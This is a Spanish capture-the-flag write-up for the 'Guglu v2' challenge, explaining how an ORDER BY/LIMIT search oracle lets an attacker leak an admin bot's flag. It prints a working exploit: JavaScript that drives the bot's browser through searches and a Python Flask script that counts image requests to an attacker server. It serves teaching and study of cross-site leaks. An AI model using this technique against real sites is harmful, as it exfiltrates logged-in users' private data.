Guglu v2
8 minutos de lectura
Se nos proporciona esta página web para crear notas. También existe un bot que accede a su perfil y accede después a una URL provista por nosotros. Disponemos también de los proyectos en Node.js.
Análisis del código fuente
Las funciones de registro (/register
) e inicio de sesión (/login
) están correctamente implementadas.
La funcionalidad principal de la aplicación es la posibilidad de crear y buscar notas (web/src/routes/post.router.js
):
router.get('/posts', (req, res) => {
const { page } = req.query;
if (page === undefined) {
return res.redirect('/posts?page=1')
}
const owner = req.session.username;
const posts = db.getPosts(owner, page);
return res.render('posts', {
posts: posts,
});
});
router.post('/add-post', (req, res) => {
let { title, content, logo } = req.body;
const creator = req.session.username;
title = title.length <= 256
? title
: title.substring(0, 256);
content = content.length <= 1024
? content
: content.substring(0, 1024);
const id = db.addPost(title, content, logo, creator)["lastInsertRowid"];
return res.redirect(`/post/${id}`);
});
router.get('/search', (req, res) => {
let query = req.query["query"] || '';
let creator = req.session.username;
let page = req.query["page"] || 1;
const posts = db.searchPosts(query, creator, page);
return res.render("posts", {
posts: posts,
});
})
Estos tres endpoints utilizan funciones de acceso a base de datos (web/src/lib/db.js
):
function addPost(title, content, logo, creator) {
const stmt = db.prepare("INSERT INTO posts (title, content, logo, creator) VALUES (?, ?, ?, ?);")
const post_id = stmt.run(title, content, logo, creator);
return post_id;
}
function getPost(id, creator) {
const stmt = db.prepare("SELECT title, content, logo FROM posts WHERE id = ? AND creator = ?;");
return stmt.get(id, creator);
}
function getPosts(owner, page) {
const offset = (page - 1) * 6;
if (owner === "admin") {
const stmt = db.prepare("SELECT id, title, content, logo FROM posts ORDER BY title LIMIT 6 OFFSET ?;");
const posts = stmt.all(offset);
return posts;
} else {
const stmt = db.prepare("SELECT id, title, content, logo FROM posts WHERE creator = ? ORDER BY title LIMIT 6 OFFSET ?;");
const posts = stmt.all(owner, offset);
return posts;
}
}
function searchPosts(query, owner, page) {
const offset = (page - 1) * 6;
if (owner === "admin") {
const stmt = db.prepare("SELECT id, title, content, logo FROM posts WHERE title LIKE ? ORDER BY title LIMIT 6 OFFSET ?;");
const posts = stmt.all(`%${query}%`, offset);
return posts;
} else {
const stmt = db.prepare("SELECT id, title, content, logo FROM posts WHERE title LIKE ? and creator = ? ORDER BY title LIMIT 6 OFFSET ?;");
const posts = stmt.all(`%${query}%`, owner, offset);
return posts;
}
}
No existe ninguna vulnerabilidad de inyección SQL. Por otro lado, la flag se guarda en la base de datos y pertenece al usuario admin
(el bot):
const Flag = process.env.FLAG || 'HackOn{fakeflag}';
db.prepare(`
INSERT INTO posts (id, title, content, logo, creator)
VALUES (0, ?, 'Boring post, anyway, only I am reading it.',
'https://cdn.vox-cdn.com/uploads/chorus_asset/file/22312759/rickroll_4k.jpg',
'admin');
`).run(Flag);
Bot
El bot recibe la URL de la aplicación web para poder iniciar sesión, y luego accede a una URL que nosotros le damos:
import { firefox } from "playwright-firefox";
const USER = "admin";
const PASSWD = process.env.PASSWD ?? console.log("No password") ?? process.exit(1);
const sleep = async (msec) =>
new Promise((resolve) => setTimeout(resolve, msec));
export const visit = async (chall_url, url) => {
console.log(chall_url)
if (!/^https?:\/\/hackon-[a-f0-9]{12}-guglu-[0-9]+\.chals\.io\/$/.test(chall_url)) {
console.log("Bad chall url");
return;
}
console.log(`chall_url: ${chall_url}`)
console.log(`url: ${url}`);
const browser = await firefox.launch({
headless: true,
firefoxUserPrefs: {
"javascript.options.wasm": false,
"javascript.options.baselinejit": false,
},
});
const context = await browser.newContext();
try {
const page = await context.newPage();
await page.goto(chall_url + 'login', { timeout: 3 * 1000 });
await page.type('input[name=username]', USER);
await page.type('input[name=password]', PASSWD);
await page.getByRole('button').click();
await sleep(3 * 1000);
await page.goto(url, { timeout: 3 * 1000 });
await sleep(60 * 1000);
await page.close();
} catch (e) {
console.error(e);
}
await browser.close();
console.log(`end: ${url}`);
};
Lo importante aquí es que el bot ya tendrá una sesión en la aplicación web del reto, y si tratamos de buscar la flag entre sus notas, le saldrá. La clave aquí es encontrar cómo exfiltrar la flag.
Estrategia de exfiltración
Como nosotros controlamos la URL a la que accede el bot, la idea sería montar un servidor que aloje una página web que realice peticiones a /search
mediante JavaScript. El problema es que no podemos leer la respuesta de estas peticiones porque el Same-Origin Policy nos bloquea.
Aún así, existen un montón de casuísticas y contextos en los que es posible exfiltrar información mediante un oráculo. Esto es, si encontramos alguna diferencia entre una respuesta que tiene la flag y una respuesta que no, ahí podemos tratar de exfiltrar. Muchas de estas técnicas están documentadas en xsleaks.dev.
Si desplegamos el contenedor de Docker con la aplicación web y accedemos al perfil de admin
con las credenciales de prueba, podemos ver qué cambia si buscamos la flag y qué no:
Por ejemplo, en el caso correcto aparece la imagen rickroll.jpg
y en el caso incorrecto no aparece. Una opción sería ver si la imagen está cacheada al buscar. Si lo está, es que la búsqueda ha dado un resultado que coincide con la flag; y si no está cacheada, es que la búsqueda no devuelve la flag.
Así, con un oráculo booleano como este, podríamos ir iterando todos los caracteres posibles para cada índice de la flag hasta dar con el correcto.
Vía intencionada
Aunque el oráculo basado en la caché del navegador es bueno y sirve para exfiltrar, la vía intencionada está en el uso de ORDER By title LIMIT 6
de la consulta SQL:
function searchPosts(query, owner, page) {
const offset = (page - 1) * 6;
if (owner === "admin") {
const stmt = db.prepare("SELECT id, title, content, logo FROM posts WHERE title LIKE ? ORDER BY title LIMIT 6 OFFSET ?;");
const posts = stmt.all(`%${query}%`, offset);
return posts;
} else {
const stmt = db.prepare("SELECT id, title, content, logo FROM posts WHERE title LIKE ? and creator = ? ORDER BY title LIMIT 6 OFFSET ?;");
const posts = stmt.all(`%${query}%`, owner, offset);
return posts;
}
}
La idea es que creemos 6 notas con una imagen que apunte a nuestro servidor y un título que empiece por HackOn{a
, luego 6 notas que empiecen por HackOn{b
, y así hasta HackOn{z
. Entonces, cuando busquemos por HackOn{f
, el servidor mostrará la flag correcta (HackOn{fakeflag}
) con la imagen rickroll.jpg
y otras 5 notas nuestras que empiezan por HackOn{f
. La clave es que para el resto de búsquedas, nuestro servidor recibirá 6 peticiones por una imagen; pero para la búsqueda que devuelve la flag, solo llegarán 5 peticiones por una imagen.
Comprobación
Si lo probamos en SQLite, veremos que se cumple nuestra premisa, pero con un detalle:
root@0a801a0ab2f7:/app# sqlite3 guglu.db
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
sqlite> SELECT * FROM posts;
0|HackOn{fakeflag}|Boring post, anyway, only I am reading it.|https://cdn.vox-cdn.com/uploads/chorus_asset/file/22312759/rickroll_4k.jpg|admin
sqlite> INSERT INTO posts VALUES (1, 'HackOn{f', 'asdf', 'http://...', 'asdf');
sqlite> INSERT INTO posts VALUES (2, 'HackOn{f', 'asdf', 'http://...', 'asdf');
sqlite> INSERT INTO posts VALUES (3, 'HackOn{f', 'asdf', 'http://...', 'asdf');
sqlite> INSERT INTO posts VALUES (4, 'HackOn{f', 'asdf', 'http://...', 'asdf');
sqlite> INSERT INTO posts VALUES (5, 'HackOn{f', 'asdf', 'http://...', 'asdf');
sqlite> INSERT INTO posts VALUES (6, 'HackOn{f', 'asdf', 'http://...', 'asdf');
sqlite> SELECT * FROM posts;
0|HackOn{fakeflag}|Boring post, anyway, only I am reading it.|https://cdn.vox-cdn.com/uploads/chorus_asset/file/22312759/rickroll_4k.jpg|admin
1|HackOn{f|asdf|http://...|asdf
2|HackOn{f|asdf|http://...|asdf
3|HackOn{f|asdf|http://...|asdf
4|HackOn{f|asdf|http://...|asdf
5|HackOn{f|asdf|http://...|asdf
6|HackOn{f|asdf|http://...|asdf
sqlite> SELECT id, title, content, logo FROM posts WHERE title LIKE '%HackOn{f%' ORDER BY title LIMIT 6 OFFSET 0;
1|HackOn{f|asdf|http://...
2|HackOn{f|asdf|http://...
3|HackOn{f|asdf|http://...
4|HackOn{f|asdf|http://...
5|HackOn{f|asdf|http://...
6|HackOn{f|asdf|http://...
Como se puede ver, si ponemos HackOn{f
como título, se mostrará siempre antes que HackOn{fakeflag}
por ORDER By title
. Para corregirlo, podemos poner simplemente ackOn{f
:
sqlite> DELETE FROM posts WHERE id > 0;
sqlite> INSERT INTO posts VALUES (1, 'ackOn{f', 'asdf', 'http://...', 'asdf');
sqlite> INSERT INTO posts VALUES (2, 'ackOn{f', 'asdf', 'http://...', 'asdf');
sqlite> INSERT INTO posts VALUES (3, 'ackOn{f', 'asdf', 'http://...', 'asdf');
sqlite> INSERT INTO posts VALUES (4, 'ackOn{f', 'asdf', 'http://...', 'asdf');
sqlite> INSERT INTO posts VALUES (5, 'ackOn{f', 'asdf', 'http://...', 'asdf');
sqlite> INSERT INTO posts VALUES (6, 'ackOn{f', 'asdf', 'http://...', 'asdf');
sqlite> SELECT * FROM posts;
0|HackOn{fakeflag}|Boring post, anyway, only I am reading it.|https://cdn.vox-cdn.com/uploads/chorus_asset/file/22312759/rickroll_4k.jpg|admin
1|ackOn{f|asdf|http://...|asdf
2|ackOn{f|asdf|http://...|asdf
3|ackOn{f|asdf|http://...|asdf
4|ackOn{f|asdf|http://...|asdf
5|ackOn{f|asdf|http://...|asdf
6|ackOn{f|asdf|http://...|asdf
sqlite> SELECT id, title, content, logo FROM posts WHERE title LIKE '%ackOn{f%' ORDER BY title LIMIT 6 OFFSET 0;
0|HackOn{fakeflag}|Boring post, anyway, only I am reading it.|https://cdn.vox-cdn.com/uploads/chorus_asset/file/22312759/rickroll_4k.jpg
1|ackOn{f|asdf|http://...
2|ackOn{f|asdf|http://...
3|ackOn{f|asdf|http://...
4|ackOn{f|asdf|http://...
5|ackOn{f|asdf|http://...
Y ahora sí que funciona como esperábamos y podemos usarlo como oráculo.
Implementación
El código de JavaScript que se ejecutará en la página que visita el bot es el siguiente:
const sleep = async msec => new Promise(resolve => setTimeout(resolve, msec));
const leak = async () => {
const characters = 'abcdefghijklmnopqrstuvwxyz'
for (const c of characters) {
await sleep(500)
const w = open('http://<victim_url>/search?query=ackOn{...' + c)
await sleep(500)
w.close()
}
}
leak()
Es un código sencillo que lo único que hace es abrir una pestaña del navegador del bot para realizar la búsqueda y que se carguen las imágenes y luego cerrar la pestaña, para cada carácter que puede encontrarse en la flag en un índice determinado.
Con esto, podemos montarnos un servidor en Flask que gestione también las peticiones de imágenes y cuente cuántas le llegan para cada carácter:
hits = Counter()
@app.route('/image/<i>/<c>', methods=['GET'])
def image(i, c):
hits[c] += 1
return ''
El parámetro <i>
es importante para evitar que el navegador cachee la respuesta de la imagen por tener la misma URL. Por eso, a la hora de añadir las 6 notas por carácter, añadimos también el índice:
def post_notes(title: str):
for i in range(6):
s.post(f'{victim_url}/add-post', data={
'title': title,
'content': 'asdf',
'logo': f'{vps_url}/image/{i}/{title[-1]}',
})
Así, la función principal del script es la siguiente:
def main():
global flag
Thread(target=app.run, kwargs={
'debug': False,
'host': '0.0.0.0',
'port': 8000,
'use_reloader': False,
}).start()
credentials = {'username': 'asdf', 'password': 'fdsa'}
s.post(f'{victim_url}/register', data=credentials)
s.post(f'{victim_url}/login', data=credentials)
flag = 'ackOn{'
flag_progress = log.progress('Flag')
while '}' not in flag:
for c in string.ascii_lowercase:
post_notes(flag + c)
hits.clear()
requests.post(f'{bot_url}/api/report', json={'url': vps_url, 'chall_url': victim_url + '/'})
for c, count in hits.items():
if count == 5:
flag += c
break
else:
flag += '}'
flag_progress.status('H' + flag)
flag = 'H' + flag
flag_progress.success(flag)
os._exit(0)
Flag
Con esto, obtendremos la flag al cabo de unos 10 minutos, ya que el bot tarda algo más de 1 minuto en terminar:
$ python3 solve.py http://<victim>:3000 http://<vps>:8000 http://<bot>:1337
[+] Flag: HackOn{fakeflag}
El script completo se puede encontrar aquí: solve.py
.